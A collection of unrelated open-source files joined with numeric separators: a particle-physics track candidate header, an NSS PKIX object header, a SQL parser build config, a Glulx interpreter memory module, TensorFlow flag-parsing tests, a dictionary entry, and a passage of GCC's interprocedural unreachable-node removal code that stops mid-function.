#define HcalIsolatedTrack_HcalIsolatedTrackCandidate_h
/** \class reco::HcalIsolatedTrackCandidate
*
*
*/
#include "DataFormats/RecoCandidate/interface/RecoCandidate.h"
#include "DataFormats/TrackReco/interface/Track.h"
#include "DataFormats/L1Trigger/interface/L1JetParticle.h"
#include "DataFormats/L1Trigger/interface/L1JetParticleFwd.h"
#include "DataFormats/Math/interface/LorentzVector.h"
#include "DataFormats/HcalIsolatedTrack/interface/HcalIsolatedTrackCandidateFwd.h"
#include <vector>
#include <map>
#include <utility>
namespace reco {
class HcalIsolatedTrackCandidate : public RecoCandidate {
public:
// default constructor
HcalIsolatedTrackCandidate() : RecoCandidate() {
maxP_ = -1;
enEcal_ = -1;
ptL1_ = etaL1_ = phiL1_ = 0;
etaEcal_ = phiEcal_ = 0;
etaHcal_ = phiHcal_ = ietaHcal_ = iphiHcal_ = 0;
etaPhiEcal_ = etaPhiHcal_ = false;
}
///constructor from LorentzVector
HcalIsolatedTrackCandidate(const LorentzVector& v) : RecoCandidate(0, v) {
maxP_ = -1;
enEcal_ = -1;
ptL1_ = etaL1_ = phiL1_ = 0;
etaEcal_ = phiEcal_ = 0;
etaHcal_ = phiHcal_ = ietaHcal_ = iphiHcal_ = 0;
etaPhiEcal_ = etaPhiHcal_ = false;
}
/// constructor from a track
HcalIsolatedTrackCandidate(const reco::TrackRef& tr, double max, double ene)
: RecoCandidate(0, LorentzVector((tr.get()->px()), (tr.get())->py(), (tr.get())->pz(), (tr.get())->p())),
track_(tr),
maxP_(max),
enEcal_(ene) {
ptL1_ = etaL1_ = phiL1_ = 0;
etaEcal_ = phiEcal_ = 0;
etaHcal_ = phiHcal_ = ietaHcal_ = iphiHcal_ = 0;
etaPhiEcal_ = etaPhiHcal_ = false;
}
/// Copy constructor
HcalIsolatedTrackCandidate(const HcalIsolatedTrackCandidate&);
/// destructor
~HcalIsolatedTrackCandidate() override;
/// returns a clone of the candidate
HcalIsolatedTrackCandidate* clone() const override;
/// refrence to a Track
reco::TrackRef track() const override;
void setTrack(const reco::TrackRef& tr) { track_ = tr; }
/// highest energy of other tracks in the cone around the candidate
double maxP() const { return maxP_; }
void SetMaxP(double mp) { maxP_ = mp; }
/// get reference to L1 jet
virtual l1extra::L1JetParticleRef l1jet() const;
void setL1Jet(const l1extra::L1JetParticleRef& jetRef) { l1Jet_ = jetRef; }
std::pair<double, double> EtaPhiL1() const { return std::pair<double, double>(etaL1_, phiL1_); }
math::XYZTLorentzVector l1jetp() const;
void setL1(double pt, double eta, double phi) {
ptL1_ = pt;
etaL1_ = eta;
phiL1_ = phi;
}
/// ECAL energy in the inner cone around tau jet
double energyEcal() const { return enEcal_; }
void SetEnergyEcal(double a) { enEcal_ = a; }
///eta, phi at ECAL surface
void SetEtaPhiEcal(double eta, double phi) {
etaEcal_ = eta;
phiEcal_ = phi;
etaPhiEcal_ = true;
}
std::pair<double, double> EtaPhiEcal() const {
return ((etaPhiEcal_) ? std::pair<double, double>(etaEcal_, phiEcal_) : std::pair<double, double>(0, 0));
}
bool etaPhiEcal() const { return etaPhiEcal_; }
///eta, phi at HCAL surface
void SetEtaPhiHcal(double eta, double phi, int ieta, int iphi) {
etaHcal_ = eta;
phiHcal_ = phi;
ietaHcal_ = ieta;
iphiHcal_ = iphi;
etaPhiHcal_ = true;
}
std::pair<double, double> EtaPhiHcal() const {
return ((etaPhiHcal_) ? std::pair<double, double>(etaHcal_, phiHcal_) : std::pair<double, double>(0, 0));
}
std::pair<int, int> towerIndex() const {
return ((etaPhiHcal_) ? std::pair<int, int>(ietaHcal_, iphiHcal_) : std::pair<int, int>(0, 0));
}
bool etaPhiHcal() const { return etaPhiHcal_; }
private:
/// check overlap with another candidate
bool overlap(const Candidate&) const override;
/// reference to a Track
reco::TrackRef track_;
/// reference to a L1 tau jet
l1extra::L1JetParticleRef l1Jet_;
/// highest P of other tracks in the cone around the candidate
double maxP_;
/// energy in ECAL around a cone around the track
double enEcal_;
/// pt, eta, phi of L1 object
double ptL1_, etaL1_, phiL1_;
/// eta, phi at ECAL
bool etaPhiEcal_;
double etaEcal_, phiEcal_;
/// eta, phi at HCAL
bool etaPhiHcal_;
double etaHcal_, phiHcal_;
int ietaHcal_, iphiHcal_;
};
} // namespace reco
#endif
| 2,049 |
2,494 | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
/*
* pkix_pl_object.h
*
* Object Construction, Destruction and Callback Definitions
*
*/
#ifndef _PKIX_PL_OBJECT_H
#define _PKIX_PL_OBJECT_H
#include "pkix_pl_common.h"
#ifdef __cplusplus
extern "C" {
#endif
/*
* Object Implementation Notes:
*
* Allocating a new object creates an object header and a block of
* uninitialized user data. A pointer to this uninitialized data is
* returned to the user. The structure looks as follows:
*
* +--------------------+
* | MAGIC HEADER |
* | (object header) |
* +--------------------+
* | user data | -- pointer returned from PKIX_PL_Object_Alloc
* +--------------------+
*
* Object operations receive a pointer to raw user data as an argument.
* The macro HEADER(object) returns a pointer to the object header.
* An assertion then verifies that the first field is the MAGIC_HEADER.
*/
/* PKIX_PL_Object Structure Definition */
struct PKIX_PL_ObjectStruct {
PRUint64 magicHeader;
PKIX_UInt32 type;
PKIX_Int32 references;
PRLock *lock;
PKIX_PL_String *stringRep;
PKIX_UInt32 hashcode;
PKIX_Boolean hashcodeCached;
};
/* see source file for function documentation */
PKIX_Error *
pkix_pl_Object_RetrieveEqualsCallback(
PKIX_PL_Object *object,
PKIX_PL_EqualsCallback *equalsCallback,
void *plContext);
extern PKIX_Boolean initializing;
extern PKIX_Boolean initialized;
#ifdef PKIX_USER_OBJECT_TYPE
extern PRLock *classTableLock;
#endif
extern pkix_ClassTable_Entry systemClasses[PKIX_NUMTYPES];
PKIX_Error *
pkix_pl_Object_RegisterSelf(void *plContext);
#ifdef __cplusplus
}
#endif
#endif /* _PKIX_PL_OBJECT_H */
| 683 |
5,079 | <gh_stars>1000+
{
"lexer": "sql.jisonlex",
"autocomplete": [
"../generic/autocomplete_header.jison",
"create/create_common.jison",
"create/create_table.jison",
"create/create_view.jison",
"show/show.jison",
"../generic/select/cte_select_statement.jison",
"../generic/select/from_clause.jison",
"../generic/select/group_by_clause.jison",
"../generic/select/having_clause.jison",
"../generic/select/joins.jison",
"../generic/select/limit_clause.jison",
"../generic/select/order_by_clause.jison",
"../generic/select/select.jison",
"../generic/select/select_conditions.jison",
"../generic/select/union_clause.jison",
"../generic/select/where_clause.jison",
"../generic/udf/aggregate/aggregate_common.jison",
"../generic/udf/aggregate/avg.jison",
"../generic/udf/aggregate/count.jison",
"../generic/udf/aggregate/max.jison",
"../generic/udf/aggregate/min.jison",
"../generic/udf/aggregate/stddev_pop.jison",
"../generic/udf/aggregate/stddev_samp.jison",
"../generic/udf/aggregate/sum.jison",
"../generic/udf/aggregate/var_pop.jison",
"../generic/udf/aggregate/var_samp.jison",
"../generic/udf/aggregate/variance.jison",
"../generic/udf/analytic/analytic.jison",
"../generic/udf/function/array.jison",
"../generic/udf/function/cast.jison",
"../generic/udf/function/if.jison",
"../generic/udf/function/map.jison",
"../generic/udf/function/truncate.jison",
"../generic/udf/udf_common.jison",
"../generic/sql_error.jison",
"../generic/sql_main.jison",
"../generic/sql_valueExpression.jison",
"../generic/autocomplete_footer.jison"
],
"syntax": [
"../generic/syntax_header.jison",
"create/create_common.jison",
"create/create_table.jison",
"create/create_view.jison",
"show/show.jison",
"../generic/select/cte_select_statement.jison",
"../generic/select/from_clause.jison",
"../generic/select/group_by_clause.jison",
"../generic/select/having_clause.jison",
"../generic/select/joins.jison",
"../generic/select/limit_clause.jison",
"../generic/select/order_by_clause.jison",
"../generic/select/select.jison",
"../generic/select/select_conditions.jison",
"../generic/select/union_clause.jison",
"../generic/select/where_clause.jison",
"../generic/udf/aggregate/aggregate_common.jison",
"../generic/udf/aggregate/avg.jison",
"../generic/udf/aggregate/count.jison",
"../generic/udf/aggregate/max.jison",
"../generic/udf/aggregate/min.jison",
"../generic/udf/aggregate/stddev_pop.jison",
"../generic/udf/aggregate/stddev_samp.jison",
"../generic/udf/aggregate/sum.jison",
"../generic/udf/aggregate/var_pop.jison",
"../generic/udf/aggregate/var_samp.jison",
"../generic/udf/aggregate/variance.jison",
"../generic/udf/analytic/analytic.jison",
"../generic/udf/function/array.jison",
"../generic/udf/function/cast.jison",
"../generic/udf/function/if.jison",
"../generic/udf/function/map.jison",
"../generic/udf/function/truncate.jison",
"../generic/udf/udf_common.jison",
"../generic/sql_main.jison",
"../generic/sql_valueExpression.jison",
"../generic/syntax_footer.jison"
]
} | 1,416 |
307 | // $Id: memory.c,v 1.11 2004/01/25 21:04:19 iain Exp $
#include "git.h"
#include <stdlib.h>
#include <string.h>
const git_uint8 * gInitMem;
git_uint8 * gMem;
git_uint32 gRamStart;
git_uint32 gExtStart;
git_uint32 gEndMem;
git_uint32 gOriginalEndMem;
void initMemory (const git_uint8 * gamefile, git_uint32 size)
{
// Make sure we have at least enough
// data for the standard glulx header.
if (size < 36)
fatalError("This file is too small to be a valid glulx gamefile");
gInitMem = gamefile;
// Check the magic number. From the spec:
// * Magic number: 47 6C 75 6C, which is to say ASCII 'Glul'.
if (read32 (gInitMem + 0) != 0x476c756c)
fatalError("This is not a glulx game file");
// Load the correct values for ramstart, extstart and endmem.
gRamStart = read32 (gInitMem + 8);
gExtStart = read32 (gInitMem + 12);
gOriginalEndMem = gEndMem = read32 (gInitMem + 16);
// Make sure the values are sane.
if (gRamStart < 36)
fatalError ("Bad header (RamStart is too low)");
if (gRamStart > size)
fatalError ("Bad header (RamStart is bigger than the entire gamefile)");
if (gExtStart > size)
fatalError ("Bad header (ExtStart is bigger than the entire gamefile)");
if (gExtStart < gRamStart)
fatalError ("Bad header (ExtStart is lower than RamStart)");
if (gEndMem < gExtStart)
fatalError ("Bad header (EndMem is lower than ExtStart)");
if (gRamStart & 255)
fatalError ("Bad header (RamStart is not a multiple of 256)");
if (gExtStart & 255)
fatalError ("Bad header (ExtStart is not a multiple of 256)");
if (gEndMem & 255)
fatalError ("Bad header (EndMem is not a multiple of 256)");
// Allocate the RAM. We'll duplicate the last few bytes of ROM
// here so that reads which cross the ROM/RAM boundary don't fail.
gMem = malloc (gEndMem);
if (gMem == NULL)
fatalError ("Failed to allocate game RAM");
// Copy the initial memory contents.
memcpy (gMem, gInitMem, gExtStart);
// Zero out the extended RAM.
memset (gMem + gExtStart, 0, gEndMem - gExtStart);
}
int verifyMemory ()
{
git_uint32 checksum = 0;
git_uint32 n;
for (n = 0 ; n < gExtStart ; n += 4)
checksum += read32 (gInitMem + n);
checksum -= read32 (gInitMem + 32);
return (checksum == read32 (gInitMem + 32)) ? 0 : 1;
}
int resizeMemory (git_uint32 newSize, int isInternal)
{
git_uint8* newMem;
if (newSize == gEndMem)
return 0; // Size is not changed.
if (!isInternal && heap_is_active())
fatalError ("Cannot resize Glulx memory space while heap is active.");
if (newSize < gOriginalEndMem)
fatalError ("Cannot resize Glulx memory space smaller than it started.");
if (newSize & 0xFF)
fatalError ("Can only resize Glulx memory space to a 256-byte boundary.");
newMem = realloc(gMem, newSize);
if (!newMem)
{
return 1; // Failed to extend memory.
}
if (newSize > gEndMem)
memset (newMem + gEndMem, 0, newSize - gEndMem);
gMem = newMem;
gEndMem = newSize;
return 0;
}
void resetMemory (git_uint32 protectPos, git_uint32 protectSize)
{
git_uint32 protectEnd = protectPos + protectSize;
git_uint32 i;
// Deactivate the heap (if it was active).
heap_clear();
gEndMem = gOriginalEndMem;
// Copy the initial contents of RAM.
for (i = gRamStart; i < gExtStart; ++i)
{
if (i >= protectEnd || i < protectPos)
gMem [i] = gInitMem [i];
}
// Zero out the extended RAM.
for (i = gExtStart; i < gEndMem; ++i)
{
if (i >= protectEnd || i < protectPos)
gMem [i] = 0;
}
}
void shutdownMemory ()
{
// We didn't allocate the ROM, so we
// only need to dispose of the RAM.
free (gMem);
// Zero out all our globals.
gRamStart = gExtStart = gEndMem = gOriginalEndMem = 0;
gInitMem = gMem = NULL;
}
void memReadError (git_uint32 address)
{
fatalError ("Out-of-bounds memory access");
}
void memWriteError (git_uint32 address)
{
fatalError ("Out-of-bounds memory access");
}
| 1,660 |
384 | <filename>tensorflow/core/util/command_line_flags_test.cc
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <ctype.h>
#include <vector>
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/util/command_line_flags.h"
namespace tensorflow {
namespace {
// The returned array is only valid for the lifetime of the input vector.
// We're using const casting because we need to pass in an argv-style array of
// char* pointers for the API, even though we know they won't be altered.
std::vector<char *> CharPointerVectorFromStrings(
const std::vector<string> &strings) {
std::vector<char *> result;
result.reserve(strings.size());
for (const string &string : strings) {
result.push_back(const_cast<char *>(string.c_str()));
}
return result;
}
} // namespace
TEST(CommandLineFlagsTest, BasicUsage) {
int some_int = 10;
int64 some_int64 = 21474836470; // max int32 is 2147483647
bool some_switch = false;
string some_name = "something";
float some_float = -23.23f;
int argc = 6;
std::vector<string> argv_strings = {"program_name",
"--some_int=20",
"--some_int64=214748364700",
"--some_switch",
"--some_name=somethingelse",
"--some_float=42.0"};
std::vector<char *> argv_array = CharPointerVectorFromStrings(argv_strings);
bool parsed_ok =
Flags::Parse(&argc, argv_array.data(),
{Flag("some_int", &some_int, "some int"),
Flag("some_int64", &some_int64, "some int64"),
Flag("some_switch", &some_switch, "some switch"),
Flag("some_name", &some_name, "some name"),
Flag("some_float", &some_float, "some float")});
EXPECT_EQ(true, parsed_ok);
EXPECT_EQ(20, some_int);
EXPECT_EQ(214748364700, some_int64);
EXPECT_EQ(true, some_switch);
EXPECT_EQ("somethingelse", some_name);
EXPECT_NEAR(42.0f, some_float, 1e-5f);
EXPECT_EQ(argc, 1);
}
TEST(CommandLineFlagsTest, BadIntValue) {
int some_int = 10;
int argc = 2;
std::vector<string> argv_strings = {"program_name", "--some_int=notanumber"};
std::vector<char *> argv_array = CharPointerVectorFromStrings(argv_strings);
bool parsed_ok = Flags::Parse(&argc, argv_array.data(),
{Flag("some_int", &some_int, "some int")});
EXPECT_EQ(false, parsed_ok);
EXPECT_EQ(10, some_int);
EXPECT_EQ(argc, 1);
}
TEST(CommandLineFlagsTest, BadBoolValue) {
bool some_switch = false;
int argc = 2;
std::vector<string> argv_strings = {"program_name", "--some_switch=notabool"};
std::vector<char *> argv_array = CharPointerVectorFromStrings(argv_strings);
bool parsed_ok =
Flags::Parse(&argc, argv_array.data(),
{Flag("some_switch", &some_switch, "some switch")});
EXPECT_EQ(false, parsed_ok);
EXPECT_EQ(false, some_switch);
EXPECT_EQ(argc, 1);
}
TEST(CommandLineFlagsTest, BadFloatValue) {
float some_float = -23.23f;
int argc = 2;
std::vector<string> argv_strings = {"program_name",
"--some_float=notanumber"};
std::vector<char *> argv_array = CharPointerVectorFromStrings(argv_strings);
bool parsed_ok =
Flags::Parse(&argc, argv_array.data(),
{Flag("some_float", &some_float, "some float")});
EXPECT_EQ(false, parsed_ok);
EXPECT_NEAR(-23.23f, some_float, 1e-5f);
EXPECT_EQ(argc, 1);
}
// Return whether str==pat, but allowing any whitespace in pat
// to match zero or more whitespace characters in str.
static bool MatchWithAnyWhitespace(const string &str, const string &pat) {
bool matching = true;
int pat_i = 0;
for (int str_i = 0; str_i != str.size() && matching; str_i++) {
if (isspace(str[str_i])) {
matching = (pat_i != pat.size() && isspace(pat[pat_i]));
} else {
while (pat_i != pat.size() && isspace(pat[pat_i])) {
pat_i++;
}
matching = (pat_i != pat.size() && str[str_i] == pat[pat_i++]);
}
}
while (pat_i != pat.size() && isspace(pat[pat_i])) {
pat_i++;
}
return (matching && pat_i == pat.size());
}
TEST(CommandLineFlagsTest, UsageString) {
int some_int = 10;
int64 some_int64 = 21474836470; // max int32 is 2147483647
bool some_switch = false;
string some_name = "something";
// Don't test float in this case, because precision is hard to predict and
// match against, and we don't want a flakey test.
const string tool_name = "some_tool_name";
string usage = Flags::Usage(tool_name + "<flags>",
{Flag("some_int", &some_int, "some int"),
Flag("some_int64", &some_int64, "some int64"),
Flag("some_switch", &some_switch, "some switch"),
Flag("some_name", &some_name, "some name")});
// Match the usage message, being sloppy about whitespace.
const char *expected_usage =
" usage: some_tool_name <flags>\n"
"Flags:\n"
"--some_int=10 int32 some int\n"
"--some_int64=21474836470 int64 some int64\n"
"--some_switch=false bool some switch\n"
"--some_name=\"something\" string some name\n";
ASSERT_EQ(MatchWithAnyWhitespace(usage, expected_usage), true);
// Again but with no flags.
usage = Flags::Usage(tool_name, {});
ASSERT_EQ(MatchWithAnyWhitespace(usage, " usage: some_tool_name\n"), true);
}
} // namespace tensorflow
| 2,565 |
335 | <filename>I/Incontinence_noun.json
{
"word": "Incontinence",
"definitions": [
"Lack of voluntary control over urination or defecation.",
"Lack of self-restraint."
],
"parts-of-speech": "Noun"
} | 97 |
432 | <reponame>lambdaxymox/DragonFlyBSD<filename>contrib/gcc-4.7/gcc/ipa.c
/* Basic IPA optimizations and utilities.
Copyright (C) 2003, 2004, 2005, 2007, 2008, 2009, 2010, 2011
Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 3, or (at your option) any later
version.
GCC is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3. If not see
<http://www.gnu.org/licenses/>. */
#include "config.h"
#include "system.h"
#include "coretypes.h"
#include "tm.h"
#include "cgraph.h"
#include "tree-pass.h"
#include "timevar.h"
#include "gimple.h"
#include "ggc.h"
#include "flags.h"
#include "pointer-set.h"
#include "target.h"
#include "tree-iterator.h"
#include "ipa-utils.h"
/* Look for all functions inlined to NODE and update their inlined_to pointers
to INLINED_TO. */
static void
update_inlined_to_pointer (struct cgraph_node *node, struct cgraph_node *inlined_to)
{
struct cgraph_edge *e;
for (e = node->callees; e; e = e->next_callee)
if (e->callee->global.inlined_to)
{
e->callee->global.inlined_to = inlined_to;
update_inlined_to_pointer (e->callee, inlined_to);
}
}
/* Add cgraph NODE to queue starting at FIRST.
The queue is linked via AUX pointers and terminated by pointer to 1.
We enqueue nodes at two occasions: when we find them reachable or when we find
their bodies needed for further clonning. In the second case we mark them
by pointer to 2 after processing so they are re-queue when they become
reachable. */
static void
enqueue_cgraph_node (struct cgraph_node *node, struct cgraph_node **first)
{
/* Node is still in queue; do nothing. */
if (node->aux && node->aux != (void *) 2)
return;
/* Node was already processed as unreachable, re-enqueue
only if it became reachable now. */
if (node->aux == (void *)2 && !node->reachable)
return;
node->aux = *first;
*first = node;
}
/* Add varpool NODE to queue starting at FIRST. */
static void
enqueue_varpool_node (struct varpool_node *node, struct varpool_node **first)
{
node->aux = *first;
*first = node;
}
/* Process references. */
static void
process_references (struct ipa_ref_list *list,
struct cgraph_node **first,
struct varpool_node **first_varpool,
bool before_inlining_p)
{
int i;
struct ipa_ref *ref;
for (i = 0; ipa_ref_list_reference_iterate (list, i, ref); i++)
{
if (ref->refered_type == IPA_REF_CGRAPH)
{
struct cgraph_node *node = ipa_ref_node (ref);
if (!node->reachable
&& node->analyzed
&& (!DECL_EXTERNAL (node->decl)
|| before_inlining_p))
node->reachable = true;
enqueue_cgraph_node (node, first);
}
else
{
struct varpool_node *node = ipa_ref_varpool_node (ref);
if (!node->needed)
{
varpool_mark_needed_node (node);
enqueue_varpool_node (node, first_varpool);
}
}
}
}
/* Return true when NODE can not be local. Worker for cgraph_local_node_p. */
static bool
cgraph_non_local_node_p_1 (struct cgraph_node *node, void *data ATTRIBUTE_UNUSED)
{
/* FIXME: Aliases can be local, but i386 gets thunks wrong then. */
return !(cgraph_only_called_directly_or_aliased_p (node)
&& !ipa_ref_has_aliases_p (&node->ref_list)
&& node->analyzed
&& !DECL_EXTERNAL (node->decl)
&& !node->local.externally_visible
&& !node->reachable_from_other_partition
&& !node->in_other_partition);
}
/* Return true when function can be marked local. */
static bool
cgraph_local_node_p (struct cgraph_node *node)
{
struct cgraph_node *n = cgraph_function_or_thunk_node (node, NULL);
/* FIXME: thunks can be considered local, but we need prevent i386
from attempting to change calling convention of them. */
if (n->thunk.thunk_p)
return false;
return !cgraph_for_node_and_aliases (n,
cgraph_non_local_node_p_1, NULL, true);
}
/* Return true when NODE has ADDR reference. */
static bool
has_addr_references_p (struct cgraph_node *node,
void *data ATTRIBUTE_UNUSED)
{
int i;
struct ipa_ref *ref;
for (i = 0; ipa_ref_list_refering_iterate (&node->ref_list, i, ref); i++)
if (ref->use == IPA_REF_ADDR)
return true;
return false;
}
/* Perform reachability analysis and reclaim all unreachable nodes.
If BEFORE_INLINING_P is true this function is called before inlining
decisions has been made. If BEFORE_INLINING_P is false this function also
removes unneeded bodies of extern inline functions. */
bool
cgraph_remove_unreachable_nodes (bool before_inlining_p, FILE *file)
{
struct cgraph_node *first = (struct cgraph_node *) (void *) 1;
struct varpool_node *first_varpool = (struct varpool_node *) (void *) 1;
struct cgraph_node *node, *next;
struct varpool_node *vnode, *vnext;
bool changed = false;
#ifdef ENABLE_CHECKING
verify_cgraph ();
#endif
if (file)
fprintf (file, "\nReclaiming functions:");
#ifdef ENABLE_CHECKING
for (node = cgraph_nodes; node; node = node->next)
gcc_assert (!node->aux);
for (vnode = varpool_nodes; vnode; vnode = vnode->next)
gcc_assert (!vnode->aux);
#endif
varpool_reset_queue ();
/* Mark functions whose bodies are obviously needed.
This is mostly when they can be referenced externally. Inline clones
are special since their declarations are shared with master clone and thus
cgraph_can_remove_if_no_direct_calls_and_refs_p should not be called on them. */
for (node = cgraph_nodes; node; node = node->next)
if (node->analyzed && !node->global.inlined_to
&& (!cgraph_can_remove_if_no_direct_calls_and_refs_p (node)
/* Keep around virtual functions for possible devirtualization. */
|| (before_inlining_p && DECL_VIRTUAL_P (node->decl))))
{
gcc_assert (!node->global.inlined_to);
enqueue_cgraph_node (node, &first);
node->reachable = true;
}
else
{
gcc_assert (!node->aux);
node->reachable = false;
}
/* Mark variables that are obviously needed. */
for (vnode = varpool_nodes; vnode; vnode = vnode->next)
{
vnode->next_needed = NULL;
vnode->prev_needed = NULL;
if ((vnode->analyzed || vnode->force_output)
&& !varpool_can_remove_if_no_refs (vnode))
{
vnode->needed = false;
varpool_mark_needed_node (vnode);
enqueue_varpool_node (vnode, &first_varpool);
}
else
vnode->needed = false;
}
/* Perform reachability analysis. As a special case do not consider
extern inline functions not inlined as live because we won't output
them at all.
We maintain two worklist, one for cgraph nodes other for varpools and
are finished once both are empty. */
while (first != (struct cgraph_node *) (void *) 1
|| first_varpool != (struct varpool_node *) (void *) 1)
{
if (first != (struct cgraph_node *) (void *) 1)
{
struct cgraph_edge *e;
node = first;
first = (struct cgraph_node *) first->aux;
if (!node->reachable)
node->aux = (void *)2;
/* If we found this node reachable, first mark on the callees
reachable too, unless they are direct calls to extern inline functions
we decided to not inline. */
if (node->reachable)
{
for (e = node->callees; e; e = e->next_callee)
{
if (!e->callee->reachable
&& node->analyzed
&& (!e->inline_failed
|| !DECL_EXTERNAL (e->callee->decl)
|| before_inlining_p))
e->callee->reachable = true;
enqueue_cgraph_node (e->callee, &first);
}
process_references (&node->ref_list, &first, &first_varpool, before_inlining_p);
}
/* If any function in a comdat group is reachable, force
all other functions in the same comdat group to be
also reachable. */
if (node->same_comdat_group
&& node->reachable
&& !node->global.inlined_to)
{
for (next = node->same_comdat_group;
next != node;
next = next->same_comdat_group)
if (!next->reachable)
{
next->reachable = true;
enqueue_cgraph_node (next, &first);
}
}
/* We can freely remove inline clones even if they are cloned, however if
function is clone of real clone, we must keep it around in order to
make materialize_clones produce function body with the changes
applied. */
while (node->clone_of && !node->clone_of->aux
&& !gimple_has_body_p (node->decl))
{
bool noninline = node->clone_of->decl != node->decl;
node = node->clone_of;
if (noninline && !node->reachable && !node->aux)
{
enqueue_cgraph_node (node, &first);
break;
}
}
}
if (first_varpool != (struct varpool_node *) (void *) 1)
{
vnode = first_varpool;
first_varpool = (struct varpool_node *)first_varpool->aux;
vnode->aux = NULL;
process_references (&vnode->ref_list, &first, &first_varpool, before_inlining_p);
/* If any function in a comdat group is reachable, force
all other functions in the same comdat group to be
also reachable. */
if (vnode->same_comdat_group)
{
struct varpool_node *next;
for (next = vnode->same_comdat_group;
next != vnode;
next = next->same_comdat_group)
if (!next->needed)
{
varpool_mark_needed_node (next);
enqueue_varpool_node (next, &first_varpool);
}
}
}
}
/* Remove unreachable nodes.
Completely unreachable functions can be fully removed from the callgraph.
Extern inline functions that we decided to not inline need to become unanalyzed nodes of
callgraph (so we still have edges to them). We remove function body then.
Also we need to care functions that are unreachable but we need to keep them around
for later clonning. In this case we also turn them to unanalyzed nodes, but
keep the body around. */
for (node = cgraph_nodes; node; node = next)
{
next = node->next;
if (node->aux && !node->reachable)
{
cgraph_node_remove_callees (node);
ipa_remove_all_references (&node->ref_list);
node->analyzed = false;
}
if (!node->aux)
{
struct cgraph_edge *e;
bool found = false;
int i;
struct ipa_ref *ref;
node->global.inlined_to = NULL;
if (file)
fprintf (file, " %s", cgraph_node_name (node));
/* See if there is reachable caller. */
for (e = node->callers; e && !found; e = e->next_caller)
if (e->caller->reachable)
found = true;
for (i = 0; (ipa_ref_list_refering_iterate (&node->ref_list, i, ref)
&& !found); i++)
if (ref->refering_type == IPA_REF_CGRAPH
&& ipa_ref_refering_node (ref)->reachable)
found = true;
else if (ref->refering_type == IPA_REF_VARPOOL
&& ipa_ref_refering_varpool_node (ref)->needed)
found = true;
/* If so, we need to keep node in the callgraph. */
if (found)
{
if (node->analyzed)
{
struct cgraph_node *clone;
/* If there are still clones, we must keep body around.
Otherwise we can just remove the body but keep the clone. */
for (clone = node->clones; clone;
clone = clone->next_sibling_clone)
if (clone->aux)
break;
if (!clone)
{
cgraph_release_function_body (node);
if (node->prev_sibling_clone)
node->prev_sibling_clone->next_sibling_clone = node->next_sibling_clone;
else if (node->clone_of)
node->clone_of->clones = node->next_sibling_clone;
if (node->next_sibling_clone)
node->next_sibling_clone->prev_sibling_clone = node->prev_sibling_clone;
if (node->clone_of)
node->former_clone_of = node->clone_of->decl;
node->clone_of = NULL;
node->next_sibling_clone = NULL;
node->prev_sibling_clone = NULL;
}
else
gcc_assert (!clone->in_other_partition);
node->analyzed = false;
changed = true;
cgraph_node_remove_callees (node);
ipa_remove_all_references (&node->ref_list);
}
}
else
{
cgraph_remove_node (node);
changed = true;
}
}
}
for (node = cgraph_nodes; node; node = node->next)
{
/* Inline clones might be kept around so their materializing allows further
cloning. If the function the clone is inlined into is removed, we need
to turn it into normal cone. */
if (node->global.inlined_to
&& !node->callers)
{
gcc_assert (node->clones);
node->global.inlined_to = NULL;
update_inlined_to_pointer (node, node);
}
node->aux = NULL;
}
if (file)
fprintf (file, "\n");
/* We must release unused extern inlines or sanity checking will fail. Rest of transformations
are undesirable at -O0 since we do not want to remove anything. */
if (!optimize)
return changed;
if (file)
fprintf (file, "Reclaiming variables:");
for (vnode = varpool_nodes; vnode; vnode = vnext)
{
vnext = vnode->next;
if (!vnode->needed)
{
if (file)
fprintf (file, " %s", varpool_node_name (vnode));
varpool_remove_node (vnode);
changed = true;
}
}
/* Now update address_taken flags and try to promote functions to be local. */
if (file)
fprintf (file, "\nClearing address taken flags:");
for (node = cgraph_nodes; node; node = node->next)
if (node->address_taken
&& !node->reachable_from_other_partition)
{
if (!cgraph_for_node_and_aliases (node, has_addr_references_p, NULL, true))
{
if (file)
fprintf (file, " %s", cgraph_node_name (node));
node->address_taken = false;
changed = true;
if (cgraph_local_node_p (node))
{
node->local.local = true;
if (file)
fprintf (file, " (local)");
}
}
}
if (file)
fprintf (file, "\n");
#ifdef ENABLE_CHECKING
verify_cgraph ();
#endif
/* Reclaim alias pairs for functions that have disappeared from the
call graph. */
remove_unreachable_alias_pairs ();
return changed;
}
/* Discover variables that have no longer address taken or that are read only
and update their flags.
FIXME: This can not be done in between gimplify and omp_expand since
readonly flag plays role on what is shared and what is not. Currently we do
this transformation as part of whole program visibility and re-do at
ipa-reference pass (to take into account clonning), but it would
make sense to do it before early optimizations. */
void
ipa_discover_readonly_nonaddressable_vars (void)
{
struct varpool_node *vnode;
if (dump_file)
fprintf (dump_file, "Clearing variable flags:");
for (vnode = varpool_nodes; vnode; vnode = vnode->next)
if (vnode->finalized && varpool_all_refs_explicit_p (vnode)
&& (TREE_ADDRESSABLE (vnode->decl) || !TREE_READONLY (vnode->decl)))
{
bool written = false;
bool address_taken = false;
int i;
struct ipa_ref *ref;
for (i = 0; ipa_ref_list_refering_iterate (&vnode->ref_list, i, ref)
&& (!written || !address_taken); i++)
switch (ref->use)
{
case IPA_REF_ADDR:
address_taken = true;
break;
case IPA_REF_LOAD:
break;
case IPA_REF_STORE:
written = true;
break;
}
if (TREE_ADDRESSABLE (vnode->decl) && !address_taken)
{
if (dump_file)
fprintf (dump_file, " %s (addressable)", varpool_node_name (vnode));
TREE_ADDRESSABLE (vnode->decl) = 0;
}
if (!TREE_READONLY (vnode->decl) && !address_taken && !written
/* Making variable in explicit section readonly can cause section
type conflict.
See e.g. gcc.c-torture/compile/pr23237.c */
